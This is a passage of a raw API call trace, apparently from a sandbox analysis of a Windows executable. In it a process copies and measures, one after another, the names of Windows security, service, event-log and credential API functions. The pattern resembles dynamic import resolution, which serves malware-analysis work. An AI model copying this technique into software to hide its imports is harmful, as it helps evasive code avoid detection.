lpString1=0x34e430, lpString2="AdjustTokenGroups" | out: lpString1="AdjustTokenGroups") returned="AdjustTokenGroups" [0036.051] lstrlenA (lpString="ADJUSTTOKENGROUPS") returned 17 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AdjustTokenPrivileges" | out: lpString1="AdjustTokenPrivileges") returned="AdjustTokenPrivileges" [0036.051] lstrlenA (lpString="ADJUSTTOKENPRIVILEGES") returned 21 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocateAndInitializeSid" | out: lpString1="AllocateAndInitializeSid") returned="AllocateAndInitializeSid" [0036.051] lstrlenA (lpString="ALLOCATEANDINITIALIZESID") returned 24 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocateLocallyUniqueId" | out: lpString1="AllocateLocallyUniqueId") returned="AllocateLocallyUniqueId" [0036.051] lstrlenA (lpString="ALLOCATELOCALLYUNIQUEID") returned 23 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AreAllAccessesGranted" | out: lpString1="AreAllAccessesGranted") returned="AreAllAccessesGranted" [0036.051] lstrlenA (lpString="AREALLACCESSESGRANTED") returned 21 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AreAnyAccessesGranted" | out: lpString1="AreAnyAccessesGranted") returned="AreAnyAccessesGranted" [0036.051] lstrlenA (lpString="AREANYACCESSESGRANTED") returned 21 [0036.051] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditComputeEffectivePolicyBySid" | out: lpString1="AuditComputeEffectivePolicyBySid") returned="AuditComputeEffectivePolicyBySid" [0036.052] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYSID") returned 32 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditComputeEffectivePolicyByToken" | out: lpString1="AuditComputeEffectivePolicyByToken") returned="AuditComputeEffectivePolicyByToken" [0036.052] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYTOKEN") returned 34 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditEnumerateCategories" | out: lpString1="AuditEnumerateCategories") returned="AuditEnumerateCategories" [0036.052] lstrlenA (lpString="AUDITENUMERATECATEGORIES") returned 24 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditEnumeratePerUserPolicy" | out: lpString1="AuditEnumeratePerUserPolicy") returned="AuditEnumeratePerUserPolicy" [0036.052] lstrlenA (lpString="AUDITENUMERATEPERUSERPOLICY") returned 27 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditEnumerateSubCategories" | out: lpString1="AuditEnumerateSubCategories") returned="AuditEnumerateSubCategories" [0036.052] lstrlenA (lpString="AUDITENUMERATESUBCATEGORIES") returned 27 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditFree" | out: lpString1="AuditFree") returned="AuditFree" [0036.052] lstrlenA (lpString="AUDITFREE") returned 9 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditLookupCategoryGuidFromCategoryId" | out: lpString1="AuditLookupCategoryGuidFromCategoryId") returned="AuditLookupCategoryGuidFromCategoryId" [0036.052] lstrlenA (lpString="AUDITLOOKUPCATEGORYGUIDFROMCATEGORYID") returned 37 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditLookupCategoryIdFromCategoryGuid" | out: lpString1="AuditLookupCategoryIdFromCategoryGuid") returned="AuditLookupCategoryIdFromCategoryGuid" [0036.052] lstrlenA (lpString="AUDITLOOKUPCATEGORYIDFROMCATEGORYGUID") returned 37 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditLookupCategoryNameA" | out: lpString1="AuditLookupCategoryNameA") returned="AuditLookupCategoryNameA" [0036.052] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEA") returned 24 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditLookupCategoryNameW" | out: lpString1="AuditLookupCategoryNameW") returned="AuditLookupCategoryNameW" [0036.052] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEW") returned 24 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditLookupSubCategoryNameA" | out: lpString1="AuditLookupSubCategoryNameA") returned="AuditLookupSubCategoryNameA" [0036.052] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEA") returned 27 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditLookupSubCategoryNameW" | out: lpString1="AuditLookupSubCategoryNameW") returned="AuditLookupSubCategoryNameW" [0036.052] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEW") returned 27 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditQueryGlobalSaclA" | out: lpString1="AuditQueryGlobalSaclA") returned="AuditQueryGlobalSaclA" [0036.052] lstrlenA (lpString="AUDITQUERYGLOBALSACLA") returned 21 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditQueryGlobalSaclW" | out: lpString1="AuditQueryGlobalSaclW") returned="AuditQueryGlobalSaclW" [0036.052] lstrlenA (lpString="AUDITQUERYGLOBALSACLW") returned 21 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditQueryPerUserPolicy" | out: lpString1="AuditQueryPerUserPolicy") returned="AuditQueryPerUserPolicy" [0036.052] lstrlenA (lpString="AUDITQUERYPERUSERPOLICY") returned 23 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditQuerySecurity" | out: lpString1="AuditQuerySecurity") returned="AuditQuerySecurity" [0036.052] lstrlenA (lpString="AUDITQUERYSECURITY") returned 18 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditQuerySystemPolicy" | out: lpString1="AuditQuerySystemPolicy") returned="AuditQuerySystemPolicy" [0036.052] lstrlenA (lpString="AUDITQUERYSYSTEMPOLICY") returned 22 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditSetGlobalSaclA" | out: lpString1="AuditSetGlobalSaclA") returned="AuditSetGlobalSaclA" [0036.052] lstrlenA (lpString="AUDITSETGLOBALSACLA") returned 19 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditSetGlobalSaclW" | out: lpString1="AuditSetGlobalSaclW") returned="AuditSetGlobalSaclW" [0036.052] lstrlenA (lpString="AUDITSETGLOBALSACLW") returned 19 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditSetPerUserPolicy" | out: lpString1="AuditSetPerUserPolicy") returned="AuditSetPerUserPolicy" [0036.052] lstrlenA (lpString="AUDITSETPERUSERPOLICY") returned 21 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditSetSecurity" | out: lpString1="AuditSetSecurity") returned="AuditSetSecurity" [0036.052] lstrlenA (lpString="AUDITSETSECURITY") returned 16 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="AuditSetSystemPolicy" | out: lpString1="AuditSetSystemPolicy") returned="AuditSetSystemPolicy" [0036.052] lstrlenA (lpString="AUDITSETSYSTEMPOLICY") returned 20 [0036.052] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupEventLogA" | out: lpString1="BackupEventLogA") returned="BackupEventLogA" [0036.053] lstrlenA (lpString="BACKUPEVENTLOGA") returned 15 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupEventLogW" | out: lpString1="BackupEventLogW") returned="BackupEventLogW" [0036.053] lstrlenA (lpString="BACKUPEVENTLOGW") returned 15 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildExplicitAccessWithNameA" | out: lpString1="BuildExplicitAccessWithNameA") returned="BuildExplicitAccessWithNameA" [0036.053] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEA") returned 28 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildExplicitAccessWithNameW" | out: lpString1="BuildExplicitAccessWithNameW") returned="BuildExplicitAccessWithNameW" [0036.053] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEW") returned 28 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildImpersonateExplicitAccessWithNameA" | out: lpString1="BuildImpersonateExplicitAccessWithNameA") returned="BuildImpersonateExplicitAccessWithNameA" [0036.053] lstrlenA (lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEA") returned 39 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildImpersonateExplicitAccessWithNameW" | out: lpString1="BuildImpersonateExplicitAccessWithNameW") returned="BuildImpersonateExplicitAccessWithNameW" [0036.053] lstrlenA (lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEW") returned 39 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildImpersonateTrusteeA" | out: lpString1="BuildImpersonateTrusteeA") returned="BuildImpersonateTrusteeA" [0036.053] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEA") returned 24 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildImpersonateTrusteeW" | out: lpString1="BuildImpersonateTrusteeW") returned="BuildImpersonateTrusteeW" [0036.053] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEW") returned 24 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildSecurityDescriptorA" | out: lpString1="BuildSecurityDescriptorA") returned="BuildSecurityDescriptorA" [0036.053] lstrlenA (lpString="BUILDSECURITYDESCRIPTORA") returned 24 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildSecurityDescriptorW" | out: lpString1="BuildSecurityDescriptorW") returned="BuildSecurityDescriptorW" [0036.053] lstrlenA (lpString="BUILDSECURITYDESCRIPTORW") returned 24 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithNameA" | out: lpString1="BuildTrusteeWithNameA") returned="BuildTrusteeWithNameA" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEA") returned 21 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithNameW" | out: lpString1="BuildTrusteeWithNameW") returned="BuildTrusteeWithNameW" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEW") returned 21 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithObjectsAndNameA" | out: lpString1="BuildTrusteeWithObjectsAndNameA") returned="BuildTrusteeWithObjectsAndNameA" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEA") returned 31 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithObjectsAndNameW" | out: lpString1="BuildTrusteeWithObjectsAndNameW") returned="BuildTrusteeWithObjectsAndNameW" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEW") returned 31 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithObjectsAndSidA" | out: lpString1="BuildTrusteeWithObjectsAndSidA") returned="BuildTrusteeWithObjectsAndSidA" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDA") returned 30 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithObjectsAndSidW" | out: lpString1="BuildTrusteeWithObjectsAndSidW") returned="BuildTrusteeWithObjectsAndSidW" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDW") returned 30 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithSidA" | out: lpString1="BuildTrusteeWithSidA") returned="BuildTrusteeWithSidA" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHSIDA") returned 20 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildTrusteeWithSidW" | out: lpString1="BuildTrusteeWithSidW") returned="BuildTrusteeWithSidW" [0036.053] lstrlenA (lpString="BUILDTRUSTEEWITHSIDW") returned 20 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelOverlappedAccess" | out: lpString1="CancelOverlappedAccess") returned="CancelOverlappedAccess" [0036.053] lstrlenA (lpString="CANCELOVERLAPPEDACCESS") returned 22 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="ChangeServiceConfig2A" | out: lpString1="ChangeServiceConfig2A") returned="ChangeServiceConfig2A" [0036.053] lstrlenA (lpString="CHANGESERVICECONFIG2A") returned 21 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="ChangeServiceConfig2W" | out: lpString1="ChangeServiceConfig2W") returned="ChangeServiceConfig2W" [0036.053] lstrlenA (lpString="CHANGESERVICECONFIG2W") returned 21 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="ChangeServiceConfigA" | out: lpString1="ChangeServiceConfigA") returned="ChangeServiceConfigA" [0036.053] lstrlenA (lpString="CHANGESERVICECONFIGA") returned 20 [0036.053] lstrcpyA (in: lpString1=0x34e430, lpString2="ChangeServiceConfigW" | out: lpString1="ChangeServiceConfigW") returned="ChangeServiceConfigW" [0036.054] lstrlenA (lpString="CHANGESERVICECONFIGW") returned 20 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckTokenMembership" | out: lpString1="CheckTokenMembership") returned="CheckTokenMembership" [0036.054] lstrlenA (lpString="CHECKTOKENMEMBERSHIP") returned 20 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ClearEventLogA" | out: lpString1="ClearEventLogA") returned="ClearEventLogA" [0036.054] lstrlenA (lpString="CLEAREVENTLOGA") returned 14 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ClearEventLogW" | out: lpString1="ClearEventLogW") returned="ClearEventLogW" [0036.054] lstrlenA (lpString="CLEAREVENTLOGW") returned 14 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseCodeAuthzLevel" | out: lpString1="CloseCodeAuthzLevel") returned="CloseCodeAuthzLevel" [0036.054] lstrlenA (lpString="CLOSECODEAUTHZLEVEL") returned 19 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseEncryptedFileRaw" | out: lpString1="CloseEncryptedFileRaw") returned="CloseEncryptedFileRaw" [0036.054] lstrlenA (lpString="CLOSEENCRYPTEDFILERAW") returned 21 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseEventLog" | out: lpString1="CloseEventLog") returned="CloseEventLog" [0036.054] lstrlenA (lpString="CLOSEEVENTLOG") returned 13 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseServiceHandle" | out: lpString1="CloseServiceHandle") returned="CloseServiceHandle" [0036.054] lstrlenA (lpString="CLOSESERVICEHANDLE") returned 18 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadWaitChainSession" | out: lpString1="CloseThreadWaitChainSession") returned="CloseThreadWaitChainSession" [0036.054] lstrlenA (lpString="CLOSETHREADWAITCHAINSESSION") returned 27 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseTrace" | out: lpString1="CloseTrace") returned="CloseTrace" [0036.054] lstrlenA (lpString="CLOSETRACE") returned 10 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="CommandLineFromMsiDescriptor" | out: lpString1="CommandLineFromMsiDescriptor") returned="CommandLineFromMsiDescriptor" [0036.054] lstrlenA (lpString="COMMANDLINEFROMMSIDESCRIPTOR") returned 28 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ComputeAccessTokenFromCodeAuthzLevel" | out: lpString1="ComputeAccessTokenFromCodeAuthzLevel") returned="ComputeAccessTokenFromCodeAuthzLevel" [0036.054] lstrlenA (lpString="COMPUTEACCESSTOKENFROMCODEAUTHZLEVEL") returned 36 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ControlService" | out: lpString1="ControlService") returned="ControlService" [0036.054] lstrlenA (lpString="CONTROLSERVICE") returned 14 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ControlServiceExA" | out: lpString1="ControlServiceExA") returned="ControlServiceExA" [0036.054] lstrlenA (lpString="CONTROLSERVICEEXA") returned 17 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ControlServiceExW" | out: lpString1="ControlServiceExW") returned="ControlServiceExW" [0036.054] lstrlenA (lpString="CONTROLSERVICEEXW") returned 17 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ControlTraceA" | out: lpString1="ControlTraceA") returned="ControlTraceA" [0036.054] lstrlenA (lpString="CONTROLTRACEA") returned 13 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ControlTraceW" | out: lpString1="ControlTraceW") returned="ControlTraceW" [0036.054] lstrlenA (lpString="CONTROLTRACEW") returned 13 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertAccessToSecurityDescriptorA" | out: lpString1="ConvertAccessToSecurityDescriptorA") returned="ConvertAccessToSecurityDescriptorA" [0036.054] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORA") returned 34 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertAccessToSecurityDescriptorW" | out: lpString1="ConvertAccessToSecurityDescriptorW") returned="ConvertAccessToSecurityDescriptorW" [0036.054] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORW") returned 34 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSDToStringSDRootDomainA" | out: lpString1="ConvertSDToStringSDRootDomainA") returned="ConvertSDToStringSDRootDomainA" [0036.054] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINA") returned 30 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSDToStringSDRootDomainW" | out: lpString1="ConvertSDToStringSDRootDomainW") returned="ConvertSDToStringSDRootDomainW" [0036.054] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINW") returned 30 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSecurityDescriptorToAccessA" | out: lpString1="ConvertSecurityDescriptorToAccessA") returned="ConvertSecurityDescriptorToAccessA" [0036.054] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSA") returned 34 [0036.054] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSecurityDescriptorToAccessNamedA" | out: lpString1="ConvertSecurityDescriptorToAccessNamedA") returned="ConvertSecurityDescriptorToAccessNamedA" [0036.055] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDA") returned 39 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSecurityDescriptorToAccessNamedW" | out: lpString1="ConvertSecurityDescriptorToAccessNamedW") returned="ConvertSecurityDescriptorToAccessNamedW" [0036.055] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDW") returned 39 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSecurityDescriptorToAccessW" | out: lpString1="ConvertSecurityDescriptorToAccessW") returned="ConvertSecurityDescriptorToAccessW" [0036.055] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSW") returned 34 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorA" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA") returned="ConvertSecurityDescriptorToStringSecurityDescriptorA" [0036.055] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORA") returned 52 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorW" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW") returned="ConvertSecurityDescriptorToStringSecurityDescriptorW" [0036.055] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORW") returned 52 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSidToStringSidA" | out: lpString1="ConvertSidToStringSidA") returned="ConvertSidToStringSidA" [0036.055] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDA") returned 22 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSidToStringSidW" | out: lpString1="ConvertSidToStringSidW") returned="ConvertSidToStringSidW" [0036.055] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDW") returned 22 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSDToSDDomainA" | out: lpString1="ConvertStringSDToSDDomainA") returned="ConvertStringSDToSDDomainA" [0036.055] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINA") returned 26 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSDToSDDomainW" | out: lpString1="ConvertStringSDToSDDomainW") returned="ConvertStringSDToSDDomainW" [0036.055] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINW") returned 26 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSDToSDRootDomainA" | out: lpString1="ConvertStringSDToSDRootDomainA") returned="ConvertStringSDToSDRootDomainA" [0036.055] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINA") returned 30 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSDToSDRootDomainW" | out: lpString1="ConvertStringSDToSDRootDomainW") returned="ConvertStringSDToSDRootDomainW" [0036.055] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINW") returned 30 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorA" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned="ConvertStringSecurityDescriptorToSecurityDescriptorA" [0036.055] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORA") returned 52 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorW" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned="ConvertStringSecurityDescriptorToSecurityDescriptorW" [0036.055] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW") returned 52 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSidToSidA" | out: lpString1="ConvertStringSidToSidA") returned="ConvertStringSidToSidA" [0036.055] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDA") returned 22 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertStringSidToSidW" | out: lpString1="ConvertStringSidToSidW") returned="ConvertStringSidToSidW" [0036.055] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDW") returned 22 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertToAutoInheritPrivateObjectSecurity" | out: lpString1="ConvertToAutoInheritPrivateObjectSecurity") returned="ConvertToAutoInheritPrivateObjectSecurity" [0036.055] lstrlenA (lpString="CONVERTTOAUTOINHERITPRIVATEOBJECTSECURITY") returned 41 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="CopySid" | out: lpString1="CopySid") returned="CopySid" [0036.055] lstrlenA (lpString="COPYSID") returned 7 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateCodeAuthzLevel" | out: lpString1="CreateCodeAuthzLevel") returned="CreateCodeAuthzLevel" [0036.055] lstrlenA (lpString="CREATECODEAUTHZLEVEL") returned 20 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="CreatePrivateObjectSecurity" | out: lpString1="CreatePrivateObjectSecurity") returned="CreatePrivateObjectSecurity" [0036.055] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITY") returned 27 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="CreatePrivateObjectSecurityEx" | out: lpString1="CreatePrivateObjectSecurityEx") returned="CreatePrivateObjectSecurityEx" [0036.055] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYEX") returned 29 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="CreatePrivateObjectSecurityWithMultipleInheritance" | out: lpString1="CreatePrivateObjectSecurityWithMultipleInheritance") returned="CreatePrivateObjectSecurityWithMultipleInheritance" [0036.055] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYWITHMULTIPLEINHERITANCE") returned 50 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0036.055] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0036.055] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0036.056] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessWithLogonW" | out: lpString1="CreateProcessWithLogonW") returned="CreateProcessWithLogonW" [0036.056] lstrlenA (lpString="CREATEPROCESSWITHLOGONW") returned 23 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessWithTokenW" | out: lpString1="CreateProcessWithTokenW") returned="CreateProcessWithTokenW" [0036.056] lstrlenA (lpString="CREATEPROCESSWITHTOKENW") returned 23 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateRestrictedToken" | out: lpString1="CreateRestrictedToken") returned="CreateRestrictedToken" [0036.056] lstrlenA (lpString="CREATERESTRICTEDTOKEN") returned 21 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateServiceA" | out: lpString1="CreateServiceA") returned="CreateServiceA" [0036.056] lstrlenA (lpString="CREATESERVICEA") returned 14 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateServiceW" | out: lpString1="CreateServiceW") returned="CreateServiceW" [0036.056] lstrlenA (lpString="CREATESERVICEW") returned 14 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateTraceInstanceId" | out: lpString1="CreateTraceInstanceId") returned="CreateTraceInstanceId" [0036.056] lstrlenA (lpString="CREATETRACEINSTANCEID") returned 21 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateWellKnownSid" | out: lpString1="CreateWellKnownSid") returned="CreateWellKnownSid" [0036.056] lstrlenA (lpString="CREATEWELLKNOWNSID") returned 18 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredBackupCredentials" | out: lpString1="CredBackupCredentials") returned="CredBackupCredentials" [0036.056] lstrlenA (lpString="CREDBACKUPCREDENTIALS") returned 21 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredDeleteA" | out: lpString1="CredDeleteA") returned="CredDeleteA" [0036.056] lstrlenA (lpString="CREDDELETEA") returned 11 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredDeleteW" | out: lpString1="CredDeleteW") returned="CredDeleteW" [0036.056] lstrlenA (lpString="CREDDELETEW") returned 11 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredEncryptAndMarshalBinaryBlob" | out: lpString1="CredEncryptAndMarshalBinaryBlob") returned="CredEncryptAndMarshalBinaryBlob" [0036.056] lstrlenA (lpString="CREDENCRYPTANDMARSHALBINARYBLOB") returned 31 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredEnumerateA" | out: lpString1="CredEnumerateA") returned="CredEnumerateA" [0036.056] lstrlenA (lpString="CREDENUMERATEA") returned 14 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredEnumerateW" | out: lpString1="CredEnumerateW") returned="CredEnumerateW" [0036.056] lstrlenA (lpString="CREDENUMERATEW") returned 14 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredFindBestCredentialA" | out: lpString1="CredFindBestCredentialA") returned="CredFindBestCredentialA" [0036.056] lstrlenA (lpString="CREDFINDBESTCREDENTIALA") returned 23 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredFindBestCredentialW" | out: lpString1="CredFindBestCredentialW") returned="CredFindBestCredentialW" [0036.056] lstrlenA (lpString="CREDFINDBESTCREDENTIALW") returned 23 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredFree" | out: lpString1="CredFree") returned="CredFree" [0036.056] lstrlenA (lpString="CREDFREE") returned 8 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredGetSessionTypes" | out: lpString1="CredGetSessionTypes") returned="CredGetSessionTypes" [0036.056] lstrlenA (lpString="CREDGETSESSIONTYPES") returned 19 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredGetTargetInfoA" | out: lpString1="CredGetTargetInfoA") returned="CredGetTargetInfoA" [0036.056] lstrlenA (lpString="CREDGETTARGETINFOA") returned 18 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredGetTargetInfoW" | out: lpString1="CredGetTargetInfoW") returned="CredGetTargetInfoW" [0036.056] lstrlenA (lpString="CREDGETTARGETINFOW") returned 18 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredIsMarshaledCredentialA" | out: lpString1="CredIsMarshaledCredentialA") returned="CredIsMarshaledCredentialA" [0036.056] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALA") returned 26 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredIsMarshaledCredentialW" | out: lpString1="CredIsMarshaledCredentialW") returned="CredIsMarshaledCredentialW" [0036.056] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALW") returned 26 [0036.056] lstrcpyA (in: lpString1=0x34e430, lpString2="CredIsProtectedA" | out: lpString1="CredIsProtectedA") returned="CredIsProtectedA" [0036.056] lstrlenA (lpString="CREDISPROTECTEDA") returned 16 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredIsProtectedW" | out: lpString1="CredIsProtectedW") 